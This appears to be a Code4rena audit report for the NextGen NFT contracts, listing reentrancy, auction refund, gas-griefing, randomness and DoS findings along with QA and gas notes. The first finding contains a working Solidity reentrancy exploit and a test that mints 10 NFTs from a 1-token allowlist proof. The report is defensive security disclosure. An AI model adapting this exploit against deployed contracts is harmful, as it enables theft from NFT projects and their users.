Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 20/243
Findings: 7
Award: $628.92
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L231 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L182-L183 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193-L198 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L218-L221
The NextGenCore
contract implements the _mintProcessing
function, responsible for minting NFT tokens. It uses the _safeMint
function, which in addition to minting, checks if the recipient is a contract capable of handling ERC-721 tokens. This verification is achieved by calling the onERC721Received
hook on the recipient contract and checking if it returns value of IERC721.onERC721Received.selector
. However, this behavior allows an attacker to hijack the execution of the code before the state updates in airDropTokens
, mint
, or burnToMint
are executed.
The following attack vectors were identified:
mint
function of the MinterContract
with the same merkle proof before tokensMintedAllowlistAddress
in NextGenContract
is updated.mint
function of the MinterContract
before the tokensMintedPerAddress
in NextGenContract
is updated.burnToMint
functionality by reentering the burnToMint
before the NFT is being burned.The following proof of concept presents attack resulting in minting 10
tokens using a single merkle proof that max allowance is set to 1
.
Exploit:
pragma solidity ^0.8.19; import "hardhat/console.sol"; interface IERC721 { function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) external returns (bytes4); function balanceOf(address owner) external view returns (uint256); } interface MinterContract { function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable; } contract Exploit { MinterContract minter; IERC721 nft; uint256 collectionId; uint256 numOfTokens; uint256 maxAllowance; string tokenData; constructor(address minterAddress, address nftAddress) { minter = MinterContract(minterAddress); nft = IERC721(nftAddress); } function attack(uint256 collectionId_, uint256 numOfTokens_, uint256 maxAllowance_, string memory tokenData_) external { collectionId = collectionId_; numOfTokens = numOfTokens_; maxAllowance = maxAllowance_; tokenData = tokenData_; console.log("nft balance before the attack", nft.balanceOf(address(this))); minter.mint( collectionId_, numOfTokens_, maxAllowance_, tokenData_, address(this), new bytes32[](0), address(0), 0 ); console.log("nft balance after the attack", nft.balanceOf(address(this))); } function generateProof(address sender, uint256 maxAllowance, string memory tokenData) public view returns (bytes32) { bytes32 node = keccak256(abi.encodePacked(sender, maxAllowance, tokenData)); return node; } function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) external returns (bytes4) { if(nft.balanceOf(address(this)) < 10) { minter.mint( collectionId, numOfTokens, maxAllowance, tokenData, address(this), new bytes32[](0), address(0), 0 ); } return IERC721.onERC721Received.selector; } }
Test case:
it.only("exploit reentrancy mint allowlist", async function () { const Exploit = await ethers.getContractFactory("Exploit"); const exploit = await Exploit.deploy(await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress()); await contracts.hhCore.addMinterContract(contracts.hhMinter); const collectionId = await contracts.hhCore.newCollectionIndex(); console.log("New collection Id", collectionId); // Create collection await contracts.hhCore.createCollection("Collection", "Artist", "Testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ); // Set collection data await contracts.hhCore.setCollectionData(collectionId, signers.addr1.address, 2, 10000, 0); // Set minter contract & randomizer await contracts.hhCore.addRandomizer(collectionId, contracts.hhRandomizer); await contracts.hhMinter.setCollectionCosts( collectionId, // _collectionID 1, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 1, // _timePeriod 2, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) // This proof is just generated to establish the be set up as a root const proof = await exploit.generateProof(await exploit.getAddress(), 1, '{"tdh": "100"}'); // We set up the collection phases, the numbers are set to force phase 1 with allowlist and merkle proofs await contracts.hhMinter.setCollectionPhases( collectionId, // _collectionID 0, // _allowlistStartTime 999999999999, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime proof, // _merkleRoot ) // At this point attacker has a merkle proof that allows him to mint just 1 token await exploit.attack( collectionId, 1, 1, '{"tdh": "100"}' ); // Because of the reentrancy attacker was able to mint 10 NFTs. });
Output:
$ npx hardhat test NextGen Tests New collection Id 1n nft balance before the attack 0 nft balance after the attack 10 ✔ exploit reentrancy mint allowlist
Manual Review
It is recommended to follow the checks-effects-interactions pattern and execute _mintProcessing
at the end of execution in the airDropTokens
, mint
, and burnToMint
functions, after the state changes. It's important to note that this is a cross-contract reentrancy attack that cannot be easily solved by using a reentrancy guard. The solution would require a global reentrancy guard that disallows access to functions of all contracts in the protocol.
Reentrancy
#0 - c4-pre-sort
2023-11-17T12:40:57Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:27Z
141345 marked the issue as duplicate of #1742
#2 - alex-ppg
2023-11-29T20:12:09Z
Combination of #1742 and #90.
#3 - c4-judge
2023-12-08T16:24:18Z
alex-ppg marked the issue as satisfactory
#4 - c4-judge
2023-12-08T16:24:41Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-08T19:17:08Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116
The AuctionDemo
contract implements an English Auction that allows participation in bidding for the collection's NFTs. Once the auction is finished, the winner or administrator can conclude the auction through the claimAuction
function. The issue arises from the incorrect implementation of the time check for block.timestamp
in the claimAuction
function, allowing triggering of cancelBid
, cancelAllBids
, participateToAuction
, and claimAuction
when block.timestamp
is equal to auctionEndTime
. This results in a high-severity issue where the attacker may hijack the execution in claimAuction
through the refund external call and cancel all their bids, ultimately being refunded twice.
MaliciousContract
deposits 10 ether.claimAuction
in such condition that block.timestamp == minter.getAuctionEndTime(_tokenId)
claimAuction
function refunds to MaliciousContract
the 10 ether
, but the contract triggers logic on receiving payment and triggers cancelAll
function to cancel its bids which returns 10 ether
and the 11 ether
.20 ether
+ NFT, stealing effectively 9 ether
in value.Winning the auction and paying for the NFT can be avoided by employing two malicious contracts. The first contract calls the second contract, which cancels the bid. This action sets the bid status to false and effectively refunds the supposed winner.
There are multiple scenario where this can be exploited, including the one that the attacker does not need to win the auction.
Manual Review
It is recommended to correctly set the time ranges checks to ensure they are not overlapping. Change in claimAuction
check block.timestamp >= minter.getAuctionEndTime(_tokenid)
to block.timestamp > minter.getAuctionEndTime(_tokenid)
.
Reentrancy
#0 - c4-pre-sort
2023-11-14T10:55:51Z
141345 marked the issue as duplicate of #1904
#1 - c4-pre-sort
2023-11-14T23:31:40Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-04T21:41:50Z
alex-ppg marked the issue as duplicate of #1323
#3 - c4-judge
2023-12-08T17:54:33Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
1.3844 USDC - $1.38
The AuctionDemo
contract, when claiming the token after the auction, iterates over all bidders and either refunds the bid or transfers the NFT. The refund payments are executed through an external calls, and although the return value is not checked, it still allows for the execution of a denial-of-service attack through gas griefing.
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
There are two issues with the current implementation:
MaliciousContract
that receives the refund can consume all that gas and force the further execution of the code to fail, as there is not enough gas to complete the execution of the claimAuction
transaction.MaliciousContract
could return excessive data, causing high processing costs.MaliciousContract
.MaliciousContract
.claimAuction
function.claimAuction
function attempts to refund MaliciousContract
's bid through an external call.MaliciousContract
consumes all available gas.claimAuction
function fails to execute due to running out of gas.Manual Review
It is recommended to implement the pull-over-push pattern, allowing bidders to claim their refunds. If that approach is not feasible, consider limiting the amount of gas forwarded to the bidder. Additionally, to prevent the implicit copy of return data to memory, use assembly code.
The following code presents a correct implementation that addresses the mentioned issues:
bool success; address bidder = auctionInfoData[_tokenid][i].bidder; uint256 amount = auctionInfoData[_tokenid][i].bid; assembly { success := call(3000, bidder, amount, 0, 0, 0, 0) }
DoS
#0 - c4-pre-sort
2023-11-17T12:37:16Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:21:39Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:22:04Z
alex-ppg marked the issue as duplicate of #1782
#3 - c4-judge
2023-12-08T20:50:08Z
alex-ppg marked the issue as partial-50
504.3946 USDC - $504.39
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerRNG.sol#L49 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerVRF.sol#L66
The NextGenRandomizerRNG
and NextGenRandomizerVRF
implement the fulfillRandomWords
function, which incorrectly calculates the hash to be set for the given token. In both implementations, bytes32
is used instead of keccak256
.
In NextGenRandomizerRNG
contract:
bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])
In NextGenRandomizerVRF
contract:
bytes32(abi.encodePacked(numbers,requestToToken[id]))
This means that from the produced 64-byte value from abi.encodePacked
- [random number][tokenId]
- the bytes32
takes only the first 32 bytes, which is the random number, completely skipping the tokenId
part.
This is particularly important for NextGenRandomizerVRF
, where it is possible to request multiple random numbers to be generated by setting numWords
to a higher value than 1
. Receiving multiple random numbers will result in only the first one being used for the hash value.
NextGenRandomizerRNG
or NextGenRandomizerVRF
randomizer.bytes32
representation of the random number.Manual Review
It is recommended to change the use of bytes32
with keccak256
which will take into account all passed values.
Other
#0 - c4-pre-sort
2023-11-17T12:54:27Z
141345 marked the issue as duplicate of #852
#1 - c4-judge
2023-12-06T15:56:15Z
alex-ppg changed the severity to QA (Quality Assurance)
#2 - c4-judge
2023-12-10T14:25:43Z
This previously downgraded issue has been upgraded by alex-ppg
#3 - c4-judge
2023-12-10T14:26:27Z
alex-ppg marked the issue as duplicate of #1688
#4 - c4-judge
2023-12-10T14:28:29Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.4703 USDC - $0.47
The AuctionDemo
contract, during the process of claiming the token after the auction, iterates over all bidders, either refunding the bid or transferring the NFT based on whether the bidder is the highest. This is the sole mechanism allowing bidders to retrieve their funds post-auction. However, an attacker can disrupt this process by bidding from their MaliciousContract
and becoming the highest bidder. As the MaliciousContract
lacks the implementation of the onERC721Received
hook, a prerequisite for the safeTransferFrom
function of ERC-721
, it ends up reverting. Consequently, the auction cannot be finalized through claimAuction
, and all funds remain locked in the contract.
MaliciousContract
that does not implement the onERC721Received
hook.MaliciousContract
.Manual Review
It is recommended to implement the pull-over-push pattern, wherein the winner is required to actively retrieve their winnings.
DoS
#0 - c4-pre-sort
2023-11-17T12:41:19Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:21:16Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:21:31Z
alex-ppg marked the issue as duplicate of #1759
#3 - c4-judge
2023-12-08T22:11:11Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-09T00:23:12Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0x3b, Arabadzhiev, DeFiHackLabs, Fulum, Madalad, MrPotatoMagic, SpicyMeatball, Tadev, ZanyBonzy, ZdravkoHr, alexfilippov314, audityourcontracts, cheatc0d3, devival, dy, evmboi32, immeas, lsaudit, mrudenko, oakcobalt, oualidpro, pipidu83, r0ck3tz, rishabh, rotcivegaf, tpiliposian, xAriextz
13.3948 USDC - $13.39
Id | Title |
---|---|
[L-01] | Ether dust accumulation in NextGenMinterContract |
[L-02] | It is possible to set collection data twice through setCollectionData |
[L-03] | Weak source of randomness |
[L-04] | Missing check for minting that number of tokens is not equal to 0 |
[L-05] | Missing input validation for createCollection |
[N-01] | Minting cannot start until randomizer is set |
[N-02] | Validate if the new contract address is correct |
[N-03] | Functions can be pure |
[N-04] | Function should be private |
[N-05] | Mixed use of msg.sender and _msgSender() |
NextGenMinterContract
The payArtist
function divides royalties between artists and teams. The calculations are performed by multiplying the royalty by the percentage and then dividing by 100 for all payments. The issue is that the payment calculation does not take into account decimals, which can lead to ether dust accumulation with the last payment.
artistRoyalties1 = royalties * collectionArtistPrimaryAddresses[colId].add1Percentage / 100; artistRoyalties2 = royalties * collectionArtistPrimaryAddresses[colId].add2Percentage / 100; artistRoyalties3 = royalties * collectionArtistPrimaryAddresses[colId].add3Percentage / 100; teamRoyalties1 = royalties * _teamperc1 / 100; teamRoyalties2 = royalties * _teamperc2 / 100;
It is recommended to calculate the amount of the last payment as the difference between the value of royalties and the amount that has already been paid.
setCollectionData
The setCollectionData
of NextGenCore
contract does not validate that the passed _collectionTotalSupply
is not equal to 0
. This leads to situation where it is possible to populate collectionAdditionalData
structure and then change that data later on. In addition the reservedMaxTokenIndex
is set to the value that belongs to the previous collection. Its because of the calculation:
collectionAdditionalData[_collectionID].reservedMaxTokensIndex = (_collectionID * 10000000000) + _collectionTotalSupply - 1;
Which will end up with (_collectionID * 10000000000) + 0 - 1;
Contract RandomizerNXT
and randomPool
are using weak source of randomness which is based on the keccak256
of multiple predictable values such as block.prevrandao
, blockhash
of the previous block and the block.timestamp
.
0
The mint
function of MinterContract
allows passing the number of tokens to mint as 0
. Although this will accept the ether since the function is payable, it will not mint any NFT. It is recommended to add a check to ensure the number of tokens to mint is not equal to 0
.
createCollection
The NextGenCore
contract implements the createCollection
function that accepts multiple strings, but it lacks any type of validation, such as checking if the strings are not empty. It is recommended to add validation to the createCollection function.
The protocol requires the randomizer
for the collection to be set, otherwise, it will revert at a call to calculate the hash. It is recommended to disallow any minting if the randomizer is not set.
There are multiple update contract address functions that do not check if the new address is the correct contract.
updateAdminsContract
of RandomizerNXT
does not check if the new admin contract is the actual admin contract.updateCoreContract
of NextGenRandomizerNXT
does not check if the new core contract is the actual core contract.updateCoreContract
of NextGenRandomizerRNG
does not check if the new core contract is the actual core contract.
It is recommended to add additional check to update contract address functions to ensure new address is an address of the correct contract.The isRandomizerContract
funtion of NextGenRandomizerNXT
, NextGenRandomizerRNG
NextGenRandomizerVRF
contracts are view but can be set as pure.
requestRandomWords
function in NextGenRandomizerRNG
should be private since it is only called by calculateTokenHash
. In addition it will be possible to remove redundant check for msg.sender == gencore
requestRandomWords
function in NextGenRandomizerVRF
should be private since it is only called by calculateTokenHash
. In addition it will be possible to remove redundant check for msg.sender == gencore
msg.sender
and _msgSender()
The NextGenAdmins
contract is using msg.sender
and _msgSender()
values at the same time. Consider either using everywhere msg.sender
or in case meta transactions are expected to be supported use _msgSender()
.
#0 - 141345
2023-11-25T08:09:15Z
1940 r0ck3tz l r nc 2 1 3
d [L-01] Ether dust accumulation in interContract dup of https://github.com/n4/2023-10-nextgen-findings/issues/1138 l [L-02] It is possible to set collection ce through setCollectionData d [L-03] Weak source of randomness dup ://github.com/code-423n4/nextgen-findings/issues/163 l [L-04] Missing check for minting that f tokens is not equal to 0 n [L-05] Missing input validation for llection i [N-01] Minting cannot start until er is set r [N-02] Validate if the new contract is correct n [N-03] Functions can be pure i [N-04] Function should be private n [N-05] Mixed use of msg.sender and _msgSender()
#1 - c4-pre-sort
2023-11-25T08:11:25Z
141345 marked the issue as sufficient quality report
#2 - alex-ppg
2023-12-08T15:00:18Z
The Warden's QA report has been graded B based on a score of 18 combined with a manual review per the relevant QA guideline document located here.
The Warden's submission's score was assessed based on the following accepted findings:
#3 - c4-judge
2023-12-08T15:00:25Z
alex-ppg marked the issue as grade-b
109.1409 USDC - $109.14
Id | Title |
---|---|
[G-01] | Pack structs |
[G-02] | Expensive functions returnHighestBid and returnHighestBidder |
[G-03] | Obsolete code |
[G-04] | Storing the same value multiple times |
[G-05] | Use constant value for random words |
[G-06] | Inheriting contracts that are not used |
[G-07] | Cache storage values |
[G-08] | Unused storage variables |
[G-09] | Use uint256 type instead of boolean |
[G-10] | Obsolete checks in NextGenCore functions |
[G-11] | Optimize the delegation allowance |
[G-12] | Unnecessary calculation |
AuctionDemo.sol
struct auctionInfoStru
stores auction data in 3 storage slots. This can be easily packed into a single slot, by changing uint256 bid
to uint88
which can handle over 309485009 ether
:struct auctionInfoStru { address bidder; uint88 bid; bool status; }
MinterContract.sol
struct collectionPhasesDataStructure
uses 10 storage slots but can be reduced to 4 storage slots:struct collectionPhasesDataStructure { uint32 allowlistStartTime; uint32 allowlistEndTime; uint32 publicStartTime; uint32 publicEndTime; uint32 timePeriod; uint32 rate; bytes32 merkleRoot; uint128 collectionMintCost; uint128 collectionEndMintCost; uint8 salesOption; address delAddress; }
MinterContract.sol
struct royaltiesPrimarySplits
holds percentages. These values are small and both can be held in a single storage slot instead of two:struct royaltiesPrimarySplits { uint128 artistPercentage; uint128 teamPercentage; }
MinterContract.sol
struct collectionPrimaryAddresses
uses 7 storage slots but it can be reduced to 3 storage slots:struct collectionPrimaryAddresses { address primaryAdd1; uint88 add1Percentage; address primaryAdd2; uint88 add2Percentage; address primaryAdd3; uint88 add3Percentage; bool status; }
MinterContract.sol
struct royaltiesSecondarySplits
uses two storage slots but it can be reduced to one storage slot:struct royaltiesSecondarySplits { uint128 artistPercentage; uint128 teamPercentage; }
MinterContract.sol
struct collectionSecondaryAddresses
uses 7 storage slots but it can be reduced to 3 storage slots:struct collectionSecondaryAddresses { address secondaryAdd1; uint88 add1Percentage; address secondaryAdd2; uint88 add2Percentage; address secondaryAdd3; uint256 add3Percentage; bool status; }
NextGenCore.sol
struct collectionAdditonalDataStructure
uses 9 storage slots but it can reduced to 4 slots:struct collectionAdditonalDataStructure { address collectionArtistAddress; uint32 maxCollectionPurchases; uint32 collectionCirculationSupply; uint32 collectionTotalSupply; uint256 reservedMinTokensIndex; uint256 reservedMaxTokensIndex; uint64 setFinalSupplyTimeAfterMint; address randomizerContract; }
returnHighestBid
and returnHighestBidder
The AuctionDemo
contract implements functions returnHighestBid
and returnHighestBidder
that dynamically search for the highest bid and bidder. This is very inefficient. Consider adding storage values highestBid
and highestBidder
that are updated on new bid and cancel bid functionality
AuctionDemo.sol
the additional check in returnHighestBid
is not needed and can be removed. This is because there is already check for the auctionInfoData
's status
and highBid
has initial value of 0
.proposeSecondaryAddressesAndPercentages
sets the value of status collectionArtistSecondaryAddresses[_collectionID].status
to false
which is obsolete since that value is false
already.proposePrimaryAddressesAndPercentages
sets the value of status collectionArtistSecondaryAddresses[_collectionID].status
to false
which is obsolete since that value is false
already.NextGenRandomizerNXT
and NextGenRandomizerRNG
store the address of NextGenCore
in gencore
and gencoreContract
storage variables. These values are exactly the same and stored in the form of the address in the storage. It is recommended to store the value of the gencore
address once and then use an interface to interact with it.NextGenCore
contract stores the same value in the collectionAdditionalDataStructure
structure of randomizerContract
and randomizer
. It is recommended to store the value of the randomizer
address once and then use an interface to interact with it.The wordList
is being constructed in memory within getWord
of randomPool
contract every single time the function is triggered. Consider moving wordList
outside of the function as constant values.
NextGenRandomizerRNG
inherits from Ownable
contract that functionality is not used. It is recommended to remove inheritance from Ownable
contract.NextGenRandomizerVRF
inherits from Ownable
contract that functionality is not used. It is recommended to remove inheritance from Ownable
contract.Throughout the codebase, there are multiple instances where storage variables are being read repeatedly, leading to inflated gas costs. It is recommended to cache storage variables that are read more than once.
There are unused storage variables that should be removed:
tokenToRequest
mapping in NextGenRandomizerRNG
.tokenToRequest
mapping in NextGenRandomizerVRF
.uint256
type instead of boolean
There are multiple contracts that are using boolean
storage values. In case the boolean
is the only value in the storage slot, it's better to use uint256
to avoid masking to extract the boolean
:
AuctionDemo
contract, the auctionClaim
mapping.NextGenAdmins
contract is using boolean
values to represent permissions in mappings. This consumes additional gas since for every comparison it requires masking the 32 bytes value to extract a single-byte boolean value. It is recommended to use uint256 values and check if the value is not 0.NextGenCore
contract is using booleans for mappings of onchainMetadata
, collectionFreeze
, and artistSigned
.MinterContract
is using booleans for mappings of burnToMintCollections
, burnExternalToMintCollections
, and mintToAuctionStatus
.NextGenCore
functionsThe airDropTokens
, mint
, burnToMint
functions of NextGenCore
contract implement following check:
if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply)
This check is not needed since the correctness of minting tokens is already being verified in the MinterContract
in the airDropTokens
, mint
, and burnToMint
functions through a check similar to this
collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1; require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
It is recommended to remove obsolete checks in NextGenCore
contract.
The if
statement checking if isAllowedToMint
is still false
in the mint
and burnOrSwapExternalToMint
functions is not necessary. It is recommended to use logical or statements to efficiently determine the value of isAllowedToMint.
isAllowedToMint = dmc.call1() || dmc.call2() || dmc.call3() | dmc.call4()
The burnToMint
, mintAndAuction
, and burnOrSwapExternalToMint
functions of MinterContract
are calculating the same value twice. Initially, they calculate collectionTokenMintIndex
, run some checks, and then recalculate that value and assign it to mintIndex
. It is recommended to use collectionTokenMintIndex
for the mintIndex
.
#0 - 141345
2023-11-26T05:59:06Z
1938 r0ck3tz l r nc 3 1 5
G 1 i G 2 r G 3 n G 4 l G 5 n G 6 n G 7 i G 8 n G 9 i G 10 l G 11 n G 12 l
#1 - c4-pre-sort
2023-11-26T06:00:36Z
141345 marked the issue as sufficient quality report
#2 - alex-ppg
2023-12-02T17:36:29Z
G-01 first recommendation is incorrect and generally over-reduces variables G-09 is G-15
#3 - c4-judge
2023-12-02T17:36:37Z
alex-ppg marked the issue as grade-a